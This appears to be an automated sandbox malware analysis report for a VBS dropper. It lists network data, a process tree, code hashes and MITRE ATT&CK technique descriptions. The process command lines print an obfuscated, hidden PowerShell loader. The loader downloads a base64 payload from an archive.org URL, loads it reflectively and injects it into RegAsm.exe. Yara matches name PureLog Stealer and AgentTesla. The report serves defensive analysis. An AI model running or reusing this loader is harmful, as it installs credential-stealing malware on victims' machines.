2f 43 4b 52 67 41 4b 52 2b 43 4b 52 39 43 4b Data Ascii: EBUzgSUBCxMoEAASBtMoEAASBdMoERJRACACCVMoEVMoEBIAIJgA0BKRAhDYEVUXE1FRKDKRJDKB0BKRIDKRHDKRBdkhEZMoEVMoEVMoEOcwK9LoEBCoERJRADAyCtLYERMYERMYEBMAIMoQ+CKRACAyB5LoEGQQ9CKRHAAiBNMoEBMoEBAACFCoEAAQBIgQACASBFMYEAASBJMoEAAQBIUwgRUwgRUwgRUwgRkhEZIRADKR/CKRgAKR+CKR9CK
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 46 30 52 46 43 4b 52 42 64 34 77 42 48 38 41 43 56 49 6f 45 52 48 6f 45 46 30 52 46 43 4b 52 4e 43 4b 52 47 43 4b 52 42 64 67 77 42 57 77 68 41 42 41 43 42 41 47 6f 45 42 45 4f 67 52 55 42 43 63 34 51 48 53 49 41 49 47 67 41 67 42 4b 52 41 68 44 59 45 56 67 51 42 64 67 51 42 64 67 51 42 64 77 58 67 52 41 59 67 53 55 51 42 46 30 68 45 64 49 78 44 48 45 43 43 38 46 59 45 41 47 6f 45 41 47 6f 45 41 47 6f 45 41 47 6f 45 64 41 59 67 53 30 42 67 42 4b 52 48 41 47 6f 45 49 55 51 48 49 41 59 67 53 30 77 42 6c 67 51 42 64 49 77 42 46 67 51 67 43 4b 68 41 48 59 41 43 39 4a 6f 45 43 63 67 42 4f 45 51 5a 42 4b 52 46 4f 34 67 41 41 6f 41 43 35 4a 52 2b 42 4b 68 44 64 30 61 67 53 34 51 41 4e 4a 52 46 47 63 67 45 49 67 67 44 64 34 51 41 4e 4a 52 46 4f 67 67 44 4f 34 51 Data Ascii: F0RFCKRBd4wBH8ACVIoERHoEF0RFCKRNCKRGCKRBdgwBWwhABACBAGoEBEOgRUBCc4QHSIAIGgAgBKRAhDYEVgQBdgQBdgQBdwXgRAYgSUQBF0hEdIxDHECC8FYEAGoEAGoEAGoEAGoEdAYgS0BgBKRHAGoEIUQHIAYgS0wBlgQBdIwBFgQgCKhAHYAC9JoECcgBOEQZBKRFO4gAAoAC5JR+BKhDd0agS4QANJRFGcgEIggDd4QANJRFOggDO4Q
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 34 51 41 4e 4a 52 46 4f 45 51 54 53 55 78 43 48 51 43 43 4f 45 51 34 41 47 52 46 41 46 6f 45 4f 34 51 41 4e 4a 52 46 41 46 6f 45 42 30 6b 45 56 59 77 42 5a 49 41 47 42 49 41 49 46 67 41 43 49 49 41 41 46 67 41 43 4f 30 42 43 4f 55 51 48 49 67 41 51 42 4b 42 43 49 55 51 48 46 30 42 4b 42 4b 68 44 6c 47 6f 45 59 34 41 51 42 4b 52 41 4e 4a 52 46 54 63 51 4a 44 34 51 41 41 51 41 43 44 30 78 41 64 67 67 44 64 4d 51 48 41 46 6f 45 4f 34 67 44 4f 34 67 44 64 34 67 44 41 46 6f 45 42 30 6b 45 56 41 78 42 66 67 67 44 49 34 41 43 46 30 52 42 64 34 41 43 48 77 41 43 4f 34 67 41 64 4a 52 46 4f 49 51 77 42 47 52 46 41 46 6f 45 4f 41 56 67 53 34 41 51 42 4b 52 41 4e 4a 52 46 48 63 67 48 49 41 55 67 53 45 51 54 53 55 42 51 42 4b 68 44 4f 34 41 43 49 34 67 44 41 46 6f 45 Data Ascii: 4QANJRFOEQTSUxCHQCCOEQ4AGRFAFoEO4QANJRFAFoEB0kEVYwBZIAGBIAIFgACIIAAFgACO0BCOUQHIgAQBKBCIUQHF0BKBKhDlGoEY4AQBKRANJRFTcQJD4QAAQACD0xAdggDdMQHAFoEO4gDO4gDd4gDAFoEB0kEVAxBfggDI4ACF0RBd4ACHwACO4gAdJRFOIQwBGRFAFoEOAVgS4AQBKRANJRFHcgHIAUgSEQTSUBQBKhDO4ACI4gDAFoE
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 51 49 43 4b 68 44 4f 34 67 44 42 30 6b 45 56 34 67 44 42 30 6b 45 56 34 51 41 4e 4a 52 46 4f 34 67 44 4f 41 55 67 53 45 51 54 53 55 52 49 48 67 46 43 49 34 51 48 41 46 6f 45 42 30 6b 45 56 41 55 67 53 34 67 44 63 67 52 2b 41 4b 42 48 35 44 6f 45 59 67 52 2b 41 4b 42 47 35 44 6f 45 68 45 52 2b 41 4b 42 47 63 67 41 47 59 67 41 47 68 45 42 48 49 67 42 43 59 67 51 57 53 67 41 43 70 46 6f 45 4f 34 51 70 42 4b 68 44 6c 47 6f 45 41 46 6f 45 42 30 6b 45 56 73 79 42 50 68 41 43 46 47 6f 45 49 55 59 67 53 45 51 42 41 77 41 43 44 30 52 42 64 34 41 42 48 67 51 57 53 6b 6c 45 43 49 41 41 48 67 77 41 64 4d 51 48 49 34 51 48 4f 30 42 43 4f 30 42 43 4f 30 42 43 6c 47 6f 45 64 55 61 67 53 30 68 44 4f 34 51 48 41 46 6f 45 4f 55 61 67 53 34 51 70 42 4b 68 44 6c 47 6f 45 5a Data Ascii: QICKhDO4gDB0kEV4gDB0kEV4QANJRFO4gDOAUgSEQTSURIHgFCI4QHAFoEB0kEVAUgS4gDcgR+AKBH5DoEYgR+AKBG5DoEhER+AKBGcgAGYgAGhEBHIgBCYgQWSgACpFoEO4QpBKhDlGoEAFoEB0kEVsyBPhACFGoEIUYgSEQBAwACD0RBd4ABHgQWSklECIAAHgwAdMQHI4QHO0BCO0BCO0BClGoEdUagS0hDO4QHAFoEOUagS4QpBKhDlGoEZ
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 67 53 34 41 51 42 4b 52 41 4e 4a 52 46 50 63 77 4a 49 34 67 41 48 51 41 43 49 34 51 48 4f 34 67 44 64 59 77 42 4b 67 41 43 4f 30 68 44 4f 34 51 48 4f 34 41 43 48 77 51 42 42 6f 77 41 43 34 51 70 42 4b 68 41 67 63 41 43 49 34 51 48 41 46 6f 45 42 30 6b 45 56 41 55 67 53 34 51 42 64 55 51 48 4f 55 61 67 53 34 67 44 64 55 61 67 53 41 55 67 53 45 51 54 53 55 68 44 48 59 43 43 49 34 51 48 49 34 51 48 4f 30 68 44 4f 34 51 41 4e 4a 52 46 4f 30 68 43 48 51 42 43 4f 55 67 41 41 55 41 43 49 67 67 44 45 63 67 42 4f 30 66 67 53 45 41 49 47 6b 66 67 53 41 41 49 46 67 51 39 42 4b 52 41 67 59 51 38 42 4b 42 41 67 55 41 43 35 4a 52 2b 42 4b 42 43 4f 30 42 51 42 4b 52 39 42 4b 52 38 42 4b 52 37 42 4b 68 44 41 46 6f 45 42 30 6b 45 56 73 77 42 66 67 41 43 4f 30 78 41 64 34 Data Ascii: gS4AQBKRANJRFPcwJI4gAHQACI4QHO4gDdYwBKgACO0hDO4QHO4ACHwQBBowAC4QpBKhAgcACI4QHAFoEB0kEVAUgS4QBdUQHOUagS4gDdUagSAUgSEQTSUhDHYCCI4QHI4QHO0hDO4QANJRFO0hCHQBCOUgAAUACIggDEcgBO0fgSEAIGkfgSAAIFgQ9BKRAgYQ8BKBAgUAC5JR+BKBCO0BQBKR9BKR8BKR7BKhDAFoEB0kEVswBfgACO0xAd4
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 4f 34 51 48 44 41 51 43 78 46 59 45 4f 45 41 41 47 67 41 43 4f 30 42 51 42 4b 52 41 4e 4a 52 46 4f 34 67 44 48 63 41 45 41 4d 52 41 54 45 41 49 47 41 77 45 43 45 41 49 46 6b 6c 45 49 45 41 41 46 45 77 45 41 4d 52 41 43 41 79 42 4f 45 53 45 43 30 6c 45 56 63 51 61 42 4b 42 41 67 55 51 62 42 4b 42 41 41 55 41 43 59 41 55 67 53 45 51 54 53 55 68 44 68 45 68 41 64 4a 52 46 41 46 6f 45 4f 34 67 44 59 6b 50 67 53 77 52 2b 41 4b 42 47 59 6b 50 67 53 67 52 2b 41 4b 52 49 52 6b 50 67 53 67 42 48 49 67 42 47 49 67 52 49 52 77 42 43 4f 45 53 45 43 30 6c 45 56 67 42 43 59 67 51 57 53 67 41 43 70 46 6f 45 41 46 6f 45 42 30 6b 45 56 63 79 42 53 42 77 45 42 55 57 67 53 55 52 41 42 41 69 43 49 46 6f 45 42 45 4f 67 52 55 42 43 49 46 6f 45 42 30 6b 45 56 63 41 43 49 46 6f Data Ascii: O4QHDAQCxFYEOEAAGgACO0BQBKRANJRFO4gDHcAEAMRATEAIGAwECEAIFklEIEAAFEwEAMRACAyBOESEC0lEVcQaBKBAgUQbBKBAAUACYAUgSEQTSUhDhEhAdJRFAFoEO4gDYkPgSwR+AKBGYkPgSgR+AKRIRkPgSgBHIgBGIgRIRwBCOESEC0lEVgBCYgQWSgACpFoEAFoEB0kEVcyBSBwEBUWgSURABAiCIFoEBEOgRUBCIFoEB0kEVcACIFo
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 59 41 42 45 4a 59 45 47 51 41 51 43 47 68 42 45 77 6a 67 52 59 41 42 34 49 59 45 47 51 41 43 4f 67 67 41 64 4a 52 46 42 41 51 43 4f 67 67 41 64 4a 52 46 4f 67 67 41 64 4a 52 46 42 41 67 44 4f 34 67 41 64 4a 52 46 41 41 41 43 4f 30 68 44 34 48 59 45 43 41 41 43 59 51 68 67 52 45 41 41 47 6f 41 45 59 49 67 41 41 59 41 47 4a 41 52 43 59 67 68 41 46 41 51 43 59 6b 51 43 59 6b 51 43 4f 67 78 42 41 6f 51 43 4a 6b 41 45 43 47 42 47 59 55 41 41 4b 51 52 41 4f 6b 51 43 4d 49 59 45 59 67 42 47 47 41 77 43 4a 30 68 45 4f 6b 77 41 41 63 41 49 43 47 68 41 4a 67 42 45 59 67 42 47 43 63 41 41 4e 6b 67 41 63 49 59 45 59 4d 41 41 49 67 41 45 49 67 42 4a 43 47 42 43 43 47 42 42 41 77 41 43 51 67 41 47 59 49 59 45 59 67 67 67 52 55 41 41 4e 41 41 41 41 30 43 42 41 41 41 41 Data Ascii: YABEJYEGQAQCGhBEwjgRYAB4IYEGQACOggAdJRFBAQCOggAdJRFOggAdJRFBAgDO4gAdJRFAAACO0hD4HYECAACYQhgREAAGoAEYIgAAYAGJARCYghAFAQCYkQCYkQCOgxBAoQCJkAECGBGYUAAKQRAOkQCMIYEYgBGGAwCJ0hEOkwAAcAICGhAJgBEYgBGCcAANkgAcIYEYMAAIgAEIgBJCGBCCGBBAwACQgAGYIYEYgggRUAANAAAA0CBAAAA

Target ID:	0
Start time:	23:22:05
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs"
Imagebase:	0x7ff78c0d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:22:06
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:22:06
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:22:08
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1595867471.000001A064DD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1572696203.000001A05CEA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:22:14
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:22:14
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:22:14
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:22:14
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:22:14
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x530000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFB4B2B37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1622931535.00007FFB4B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: c9d2ac754ca39b342a238bc7ddb5af754c786e7c44e567e6d2cf54bfe9a7bd00
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 1201677111CB0D8FD744EF0CE451AA6B7E0FB99364F50056DE58AC3661DA36E882CB45

Analysis Process: powershell.exePID: 3776, Parent PID: 2952COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4B2C34FD Relevance: 1.9, APIs: 1, Instructions: 440
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32 ref: 00007FFB4B2C3953

Memory Dump Source

Source File: 00000004.00000002.1599175350.00007FFB4B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b2b0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ae5942da1721b45a76f954f74d0813341366d8ebff9cfba01656a31b8fd30014
Instruction ID: 92e0e3c1c4fcad85fa62e44e143c95a18480d5cddb4c485b332a187f0a55e5f4
Opcode Fuzzy Hash: ae5942da1721b45a76f954f74d0813341366d8ebff9cfba01656a31b8fd30014
Instruction Fuzzy Hash: E4E15D70918A8D8FDBB8EF28C8597E977E1FB59301F10422ADC4ED7291DB749644CB81

Function 00007FFB4B38031D Relevance: .2, Instructions: 242
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1599684153.00007FFB4B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10463f34cd75032efbcc910bfcb7b6fb80a06a598ab7be0ca224a16696d87d2c
Instruction ID: a5467984d8f265829dfc040c423f0d1167057a867c430d72ad92d901428ce2ed
Opcode Fuzzy Hash: 10463f34cd75032efbcc910bfcb7b6fb80a06a598ab7be0ca224a16696d87d2c
Instruction Fuzzy Hash: 42711671A4DBC94FEB92AF7988642B57BE0EF56210F0841FAD18CC71A3ED189C05C762

Function 00007FFB4B388B4E Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1599684153.00007FFB4B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 394cef9ef492c1cabef57c95bacb5ae63e11ffac118565215205d13e5f3f1d65
Instruction ID: b622c20537aa1d39c71d61612453806be731977e504c1e147257b5ceb09ffd89
Opcode Fuzzy Hash: 394cef9ef492c1cabef57c95bacb5ae63e11ffac118565215205d13e5f3f1d65
Instruction Fuzzy Hash: BC512DE2E1EE460FFFAAAE7D8951275A6D1DF84290F5840BED54DC31E7DD08A8054383

Function 00007FFB4B388B9A Relevance: .1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1599684153.00007FFB4B380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e521b0f628cc0f68945e798fa2a283c573e43f261689078d82bedc833e5ad84
Instruction ID: 213c22ca62cea64ffa07b5d86fc350387f107b477e698c2822d5689d474c20cb
Opcode Fuzzy Hash: 6e521b0f628cc0f68945e798fa2a283c573e43f261689078d82bedc833e5ad84
Instruction Fuzzy Hash: 8A4108D2E1FE870BFBAABE7E896527995D1DF80290F5840BDD64DC31E6DD08A8054243

Non-executed Functions

Function 00007FFB4B2C0DBD Relevance: .5, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1599175350.00007FFB4B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f35976d46e6540710bb60d4bad797e2c3a135dfd4e287c0ae07f49e8bff3619b
Instruction ID: b6a0b03ffcb70803c38e4373bb8f725b7f62eb60f8a84077593b4a9fadf743b2
Opcode Fuzzy Hash: f35976d46e6540710bb60d4bad797e2c3a135dfd4e287c0ae07f49e8bff3619b
Instruction Fuzzy Hash: 02221B70D086198FDB18DFA8C4959EDBBB2FF88300F14866DD51AAB386CB346885CF54

Function 00007FFB4B2B9E79 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1599175350.00007FFB4B2B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b2b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad671091a183ce20ebc0ec81d0fb71ec2227f03424cd67020bb4e32d9cc5d119
Instruction ID: f16e647d4e8d08ebb9420f7ceaa9999f4a0982ad71e9ae06e54bdeb41a42fcd5
Opcode Fuzzy Hash: ad671091a183ce20ebc0ec81d0fb71ec2227f03424cd67020bb4e32d9cc5d119
Instruction Fuzzy Hash: 495100A284E7C14FD7039BB08C665947FB0AF17224B4E45EFC4D0CB0A3EA595A5AC322

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
